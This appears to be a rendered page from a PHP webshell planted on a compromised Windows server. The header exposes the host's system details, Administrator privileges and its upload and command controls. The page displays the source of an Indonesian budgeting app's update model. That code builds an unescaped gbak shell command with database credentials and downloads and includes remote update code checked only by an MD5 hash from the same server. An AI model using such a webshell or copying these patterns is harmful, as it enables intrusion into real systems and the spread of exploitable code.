403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/sipapbd_2020/application/modules/update_aplikasi/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/sipapbd_2020/application/modules/update_aplikasi/models/update_aplikasi_model.php
<?php
class Update_aplikasi_model extends Base_Model {
  var $zip;
  var $tanggal;
  var $dst_aplikasi;
  var $hostname;
  var $user_db;
  var $passw_db;
  var $db_aplikasi;
  var $dst_db;

  function __construct()
  {
    // Call the Model constructor
    parent::__construct();
    $this->load->helper('directory');

    $this->zip = new ZipArchive();

    $this->tanggal = date('Ymd');

    $this->dst_aplikasi = LOCAL_APP_DIR . '_' . $this->tanggal; // nama directory aplikasi SIPAPBD hasil backup

    // konfigurasi database
    $this->hostname = $this->db->hostname;
    $this->user_db = $this->db->username;
    $this->passw_db = $this->db->password;
    $this->db_aplikasi = $this->db->database; // database yang digunakan.

    $this->dst_db = dirname(LOCAL_APP_DIR) . '/' . basename($this->db->database, '.FDB') . '_' . $this->tanggal; // nama file backup db

  }

  /** (I)
    * Proses pertama adalah dengan membandingkan versi aplikasi di lokal dengan versi aplikasi di server update
    ** Apakah ada perbedaan dengan server atau tidak
  **/
  function get_server_version() /** cek versi aplikasi di server update **/
  {
    $server_version = @file_get_contents(LATEST_VERSION, false);

    if ($server_version == FALSE) return FALSE;

    return json_decode($server_version);
  }

  function check_version() /** pengecekan / perbandingan versi aplikasi terbaru dan sebelumnya **/
  {
    $v_server = $this->get_server_version();
    $v_local = get_app_version();

    if ( $v_server == FALSE || $v_local == FALSE ) return FALSE;

    if ( $v_server->current >= $v_local )
      return TRUE;
    else
      return FALSE;
  }

  /** (II)
    * Proses kedua adalah melakukan backup aplikasi dengan membuat salinan direktori aplikasi ke dalam file zip
    ** Format nama file zip hasil backup : namaaplikasi_tanggalhariini
  **/
  function directory_copy($srcdir, $dstdir, $zipbackup)  /** copy aplikasi **/
  {
    $srcdir = rtrim($srcdir,'/');
    $dstdir = rtrim($dstdir,'/');

    //creating the destination directory
    // if(!is_dir($dstdir)) mkdir($dstdir, DIR_WRITE_MODE);

    //Mapping the directory
    $dir_map = directory_map($srcdir, false, true); // By default, hidden files will not be included in the returned array. To override this behavior, you may set a third parameter to true (boolean):

    foreach($dir_map as $object_key=>$object_value)
    {
      if(is_numeric($object_key))
      {
        if ( $srcdir == LOCAL_APP_DIR . '/assets/fr/cache' || $srcdir == LOCAL_APP_DIR . '/assets/fr/output')
        {
          if ($object_value == 'dummy') {
            if ( !$this->zip->addFile($srcdir.'/'.$object_value,$dstdir.'/'.$object_value) ) {
              return FALSE;
            }
          }
        }
        else {
            if ( !$this->zip->addFile($srcdir.'/'.$object_value,$dstdir.'/'.$object_value) ) {
              return FALSE;
            }
        }
      }
      else
        $this->directory_copy($srcdir.'/'.$object_key,$dstdir.'/'.$object_key,$zipbackup);//this is a directory
    }

    return TRUE;
  }

  function backup_aplikasi() /** backup aplikasi **/
  {
    if ( !is_writable( dirname(LOCAL_APP_DIR) ) ) {
      log_message('error', 'Error update aplikasi (backup aplikasi) : Tidak diizinkan mengubah isi directory karena akses ditolak');
      return FALSE;
    }

    $zipbackupapp = $this->zip->open($this->dst_aplikasi . '.zip', ZipArchive::CREATE);
    if ($zipbackupapp === TRUE) {
      $backcup = $this->directory_copy(LOCAL_APP_DIR, basename($this->dst_aplikasi), $zipbackupapp);
      $this->zip->close();
      return TRUE;
    }
    return FALSE;
  }

  /** (III)
    * Proses ketiga adalah proses bakcup database yang disimpan di $this->dst_db
  **/
  function backup_db()  /** backup db **/
  {
    $host = $this->hostname;
    $user = $this->user_db;
    $passw = $this->passw_db;
    $db = $this->db_aplikasi;
    $dst_db = $this->dst_db . '.FBK';

    if( PHP_OS == 'WIN32' || PHP_OS == 'WINNT') {
      $path = $this->config->item('path_gbak');
      $cmd = "\"$path/gbak\" -b -v $host:$db $dst_db -user $user -password $passw";
    }
    else {
      $cmd = "gbak -b -v $host:$db $dst_db -user $user -password $passw";
    }

    exec($cmd, $output, $return_var);
    if ($return_var > 0) return FALSE;

    if ( $this->zip->open($this->dst_aplikasi . '.zip', ZipArchive::CREATE) === TRUE ) {
      $this->zip->addFile($dst_db, basename($dst_db));
      if ($this->zip->close() == TRUE) {
        unlink($this->dst_db . '.FBK'); // hapus file hasil backup karena sudah dizip
        return TRUE;
      }
      else {
        return FALSE;
      }
    }
    else {
      return FALSE;
    }
  }

  /** (IV)
    * Proses keempat adalah mengunduh file update yang berbentuk zip dan json yang disimpan di LOCAL_UPDATE_DIR
    ** Setelah diunduh maka dicek apakah file corrupt apa tidak dengan md5 hash
    ** Jika file update diunduh manual maka tidak perlu proses download dilewatkan
  **/
  function get_download_file($filename, $version, $extension)
  {
    if ( !is_dir(LOCAL_UPDATE_DIR) ) mkdir(LOCAL_UPDATE_DIR, DIR_WRITE_MODE, true);

    $src_file = UPDATE_SERVER. '/' . $filename;
    $dst_file = LOCAL_UPDATE_DIR . '/' . $filename;

    // unduh file
    if ($this->unduh($dst_file,  $src_file) == FALSE) return 'failed'; // unduh file
    if (!$this->change_file_mode($dst_file)) return 'can\'t change'; // rubah mode file

    if ($extension == 'md5') {
      $dst_file_zip = LOCAL_UPDATE_DIR . "/" . strtolower($this->app_id) . "-" . $version . ".zip";
      if (!$this->check_md5_hash($dst_file_zip, $dst_file)) return 'corrupt'; // cek md5 hash
    }

    return 'ok';
  }

  function get_file_name($current_version) /* ambil file update yang akan diunduh */
  {
    $files = array();
    $status = TRUE;
    while($status) {
      $update_file = strtolower($this->app_id)."-".$current_version;
      $file_zip = $update_file. '.zip';
      $file_json = $update_file. '.json';
      $file_md5 = $update_file. '.md5';

      $files[] = $file_zip;
      $files[] = $file_json;
      $files[] = $file_md5;

      $download_version = $this->read_file_version(UPDATE_SERVER . '/' . $file_json);
      $current_version = $download_version;
      $status = $download_version;
    }

    return $files;
  }

  function read_file_version($file) /** membandingkan versi **/
  {
    $content = @file_get_contents($file, false);
    $local_version = get_app_version();
    if ( $content && $local_version )
    {
      $download_version = json_decode($content);
      if ($download_version->last != $local_version)
        return $download_version->last;
      else
        return FALSE;
    }
  }

  function unduh($dst_file, $src_file) /** unduh file **/
  {
    if (false !== ($contents = @file_get_contents($src_file))) {
      return file_put_contents($dst_file, $contents);
    } else {
      return FALSE;
    }
  }

  function change_file_mode($file) /** merubah file mode **/
  {
    return chmod($file, DIR_WRITE_MODE);
  }

  function check_md5_hash($file, $filemd5)
  {
    $get_md5 = @file_get_contents($filemd5, false);
    if ($get_md5 && $get_md5 != md5_file($file)) {
      log_message('error', 'Error update aplikasi (cek md5): ' . $file . ' corrupt');
      return FALSE;
    }
    return TRUE;
  }

  /** (V)
    * Proses kelima mengekstrak file unduhan
    ** Sebelum diekstrak mode maintenance dihidupkan
    ** Untuk source code diekstrak sesuai foldernya dimana di file unduhan ini source code disesuaikan struktur direktorinya
    ** Untuk db ditempatkan di folder db kemudian dibaca file json nya untuk dijalankan statement sqlnya
    ** Setelah proses sukses semua
    *** Hapus file update *.zip di temporary folder
    *** Hapus file update *.json di temporary folder
    *** Hapus file yang berisi statement sql beserta foldernya
    ** Matikan mode maintenance
  **/
  function sort_file_download() /** sorting file download agar yang dijalankan dari versi yang tertua **/
  {
    $files = array();
    $local_version = get_app_version();

    foreach ( glob(LOCAL_UPDATE_DIR . "/{".strtolower($this->app_id)."}*.{zip,json,md5}", GLOB_BRACE) as $file ) {

      $pathinfo = pathinfo($file);
      $index = strtotime( substr($pathinfo['filename'], -8) );

      // harus difilter lagi file yang diunduh agar jika masih ada file update yang dibawah atau sama dengan versi lokal tidak ikut terekstrak
      // hal ini bisa terjadi jika folder yang berisi file update kondisinya dari awal tidak kosong
      if ( $index > strtotime($local_version) ) {
        if ($pathinfo['extension'] == 'zip') $files[$index]['zip'] = $file;
        if ($pathinfo['extension'] == 'json') $files[$index]['json'] = $file;
        if ($pathinfo['extension'] == 'md5') $files[$index]['md5'] = $file;
      }
    }
    ksort($files);

    return $files;
  }

  function ekstrak() /** ekstrak file **/
  {
    $files = $this->sort_file_download();
    foreach($files as $key=>$val)
    {
      $res = $this->zip->open($val['zip']);
      if ($res === TRUE){
        $this->zip->extractTo(LOCAL_APP_DIR);
        $this->zip->close();

        $this->run_sql(); // execute update script database
        if ($this->update_versi_aplikasi(date('Ymd', $key)) == FALSE) return FALSE; // update versi aplikasi
        if ($this->update_versi_db(date('Ymd', $key)) == FALSE) return FALSE; // update versi db

        $this->del_db_update( dirname(DB_UPDATE_FILE) ); // hapus folder db yang berisi update db
        if (file_exists($val['zip'])) unlink($val['zip']); // hapus file update *.zip
        if (file_exists($val['json'])) unlink($val['json']); // hapus file update *.json
        if (file_exists($val['md5'])) unlink($val['md5']); // hapus file update *.md5

      }else{
        return FALSE;
      }
    }
    return TRUE;
  }

  function run_sql() /** menjalankan statement sql **/
  {
    if ( !is_dir( dirname(DB_UPDATE_FILE) ) ) return TRUE; // jika folder update db tidak ada maka tidak perlu menjalankan update sql

    if ( !file_exists(DB_UPDATE_FILE) ) return TRUE; // jika file update db tidak ada maka tidak perlu menjalankan update sql
    // update db berupa file yang di include, didalamnya berisi variable array $sql
    include DB_UPDATE_FILE;

    foreach ($sql as $line => $val)
    {
      $this->db->trans_begin();
      try {
        log_message('debug', 'Execute script '.$line);
        $this->db->query($val);
        $this->check_trans_status('update database failed');
      }
      catch (Exception $e) {
        log_message('error', 'Error execute script '.$line.'. Error Message: ' . $this->db->_error_message());
        log_message('error', 'Error execute script '.$line.'. SQL: ' . $this->db->last_query());
      }

      if ($this->db->trans_status() === FALSE)
      {
        $this->last_error_id = $this->db->_error_number();
        $this->last_error_message = $this->db->_error_message();
        $this->db->trans_rollback();
        $this->db->_trans_status = TRUE;
      }
      else {
        $this->db->trans_commit();
      }
    }
    return TRUE;
  }

  function update_versi_aplikasi($new_version) /** replace version.json dari file update json **/
  {
    return file_put_contents( LOCAL_VERSION_FILE, $new_version );
  }

  function update_versi_db($versi) /** ganti versi db **/
  {
    $data = array('app_versi' => $versi);
    $this->db->trans_begin();
    try {
      log_message('debug', 'Update database version to '.$versi);
      $this->db->where('app_id', $this->app_id);
      $this->db->update('versi', $data);
      $this->check_trans_status('update versi_db failed');
    }
    catch(Exception $e){
      log_message('error', 'Error update database version. Error Message: ' . $this->db->_error_message());
    }

    if ($this->db->trans_status() === FALSE)
    {
      log_message('error', 'Error update database version :( ');
      $this->last_error_id = $this->db->_error_number();
      $this->last_error_message = $this->db->_error_message();
      $this->db->trans_rollback();
      return FALSE;
    }
    $this->db->trans_commit();
    return TRUE;
  }

  function del_db_update($dir_db) /** hapus db folder yang berisi file statement sql **/
  {
    if ( !is_dir($dir_db) ) return TRUE;

    $dir_db = rtrim($dir_db,'/');
    $dir_map = directory_map($dir_db, false, true); // By default, hidden files will not be included in the returned array. To override this behavior, you may set a third parameter to true (boolean):

    foreach($dir_map as $object_key=>$object_value)
    {
      if(is_numeric($object_key))
      {
        if ( !unlink($dir_db.'/'.$object_value) ) {
          return FALSE;
        }
      }
    }

    if ( !rmdir($dir_db) ) return FALSE;

    return TRUE;
  }

  /**
    * Unduh Manual
  **/
  function check_file_update_exist()
  {
    if ( !is_dir(LOCAL_UPDATE_DIR) ) mkdir(LOCAL_UPDATE_DIR, DIR_WRITE_MODE, true);

    $files = $this->sort_file_download();

    if ( !$this->check_file_update_by_extension($files) ) return 'incomplete';

    krsort($files);
    if (!empty($files))
    {
      $current_version_1 = get_app_version();
      foreach ($files as $key => $val) {
        if (!$this->check_md5_hash($val['zip'], $val['md5'])) return 'corrupt'; // cek md5 hash

        $get_version = @file_get_contents($val['json'], false);
        $versi = json_decode($get_version, true);
        $last_version_2 = $versi['last'];
        if (!$get_version && !$this->check_file_update_by_version($current_version_1, $last_version_2))
          return 'failed'; // cek kelengkapan file sesuai urutan versi

        $current_version_1 = $last_version_2;

      }

      return 'ok';
    }
    else
    {
      return 'empty';
    }

  }

  function check_file_update_by_extension($files)
  {
    foreach ($files as $key=>$val)
    {
      if ( !array_key_exists('zip', $val) || !array_key_exists('json', $val) || !array_key_exists('md5', $val) )
        return FALSE;
    }

    return TRUE;
  }

  function check_file_update_by_version($current_version_1, $last_version_2)
  {
    if ($current_version_1 != $last_version_2) return FALSE;

    return TRUE;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit